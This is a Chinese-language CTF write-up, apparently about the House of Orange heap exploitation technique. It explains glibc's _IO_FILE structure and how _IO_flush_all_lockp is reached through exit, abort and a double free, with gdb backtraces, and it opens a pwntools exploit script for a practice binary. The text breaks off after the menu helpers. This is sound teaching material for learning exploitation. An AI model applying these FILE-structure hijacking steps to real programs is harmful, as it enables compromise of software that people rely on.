struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
触发_IO_flush_all_lockp这个函数有以下几点方法
执行abort函数
执行exit函数
程序从main函数返回时
首先可以看一下执行exit函数时的调用链
1 2 3 4 5 6
► f 00x7ffff7a89030 _IO_flush_all_lockp f 10x7ffff7a8933a _IO_cleanup+26 f 20x7ffff7a46fab __run_exit_handlers+139 f 30x7ffff7a47055 f 40x555555555166 f 50x7ffff7a2d840 __libc_start_main+240
接下来是abort函数时的调用链,可以利用double free来触发
1 2 3 4 5 6 7 8
► f 00x7ffff7a89030 _IO_flush_all_lockp f 10x7ffff7a43fcdabort+253 f 20x7ffff7a847fa f 30x7ffff7a8d38a _int_free+1578 f 40x7ffff7a8d38a _int_free+1578 f 50x7ffff7a9158cfree+76 f 60x5555555551a2 main+57 f 70x7ffff7a2d840 __libc_start_main+240
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0 if debug: r = remote() else: r = process(file_name)
elf = ELF(file_name)
defdbg(): gdb.attach(r)
menu = 'Your choice : '
defadd(size, name, price): r.sendlineafter(menu, '1') r.sendlineafter('Length of name :', str(size)) r.sendafter('Name :', name) r.sendlineafter('Price of Orange:', str(price)) r.sendlineafter('Color of Orange:', '1')
defshow(): r.sendlineafter(menu, '2')
defedit(size, name, price): r.sendlineafter(menu, '3') r.sendlineafter('Length of name :', str(size)) r.sendafter('Name:', name) r.sendlineafter('Price of Orange: ',str(price)) r.sendlineafter('Color of Orange: ','1')